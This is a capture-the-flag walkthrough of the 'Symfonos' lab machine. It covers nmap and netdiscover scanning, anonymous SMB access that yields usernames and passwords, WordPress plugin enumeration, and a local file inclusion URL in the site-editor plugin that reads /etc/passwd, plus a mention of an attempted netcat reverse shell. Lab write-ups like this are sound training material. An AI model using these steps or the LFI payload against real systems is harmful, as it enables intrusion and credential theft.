Target Machine Name: Symfonos

Information in our hand:
Kali Linux IP Machine: 192.168.56.102

Got get the victim machine IP address:

netdiscover -i eth0 -r 192.168.56.102/24

Victim or Target Machine IP: 192.168.56.101

Step 01: Active Scanning

nmap -sC -sV -p- -T4 -A 192.168.56.101 -oN nmap.log

Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; 

Host script results:

|_nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS 
| smb-os-discovery:

Step 2:

I browse the IP address: 192.168.56.101 and one an image was there.

Since I didn’t find anything from source code or robots.txt, I used to exiftool and strings as well. It further confirms that I need to shift my area of interest. Therefore, I rechecked the findings we have in nmap.

It is running smb, therefore, let’s dig in.

Click on [+Other Locations]
Connect to server: smb://192.168.56.101/      [Type this entire bold values]
Click on [connect]

From this result, what we can deduce is that there

username: 
anonymous 
helios  
print$.           

Subsequently click on Anonymous (because most of the time, anonymous user has either empty password or anonymous as password).  In our case, it doesn’t required one (which means it’s empty)

We got few password from the note:

Password:
epidioko
qwerty
baseball

Things become little easy now, because we have three usernames and passwords and let’s explore which does work.

Working Credential:

username: helios 
Password: qwerty

Step 03:

Visit: http://192.168.56.101/h3l105/

It’s wonderful that we now found a WordPress website.

Step 04:

I faced many difficulties running wpscan (original ruby based scanner)

wpscan --url http://192.168.56.101/h3l105/ --enumerate > wpscan.txt

I manually download the json files and update it nevertheless, I was not able to enumerate the plugins. Therefore, I had to use the wpscan built on python. (actually, I can manually enumerate the plugins and its corresponding versions however, lets think that it might be useful to other boxes as well)

python wordpresscan.py -u http://192.168.56.101/h3l105/

Result:

I am very thrilled to see the suggested exploits and plugins. I tried the first plugins and visit the repository as suggested.

http://192.168.56.101/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Bold letters were the exploit. You can find the details here.

Step 05:

I am not sure whether it will work however, I would like to share my plan; to try a nc (netcat) reverse connection.

Despite I tried different ways, I was not able to get a reverse connection. Therefore, I had to try a different plugin (vulnerable plugin) i.e. mail-masta wordpress plugin. 

Details of the exploit is here.
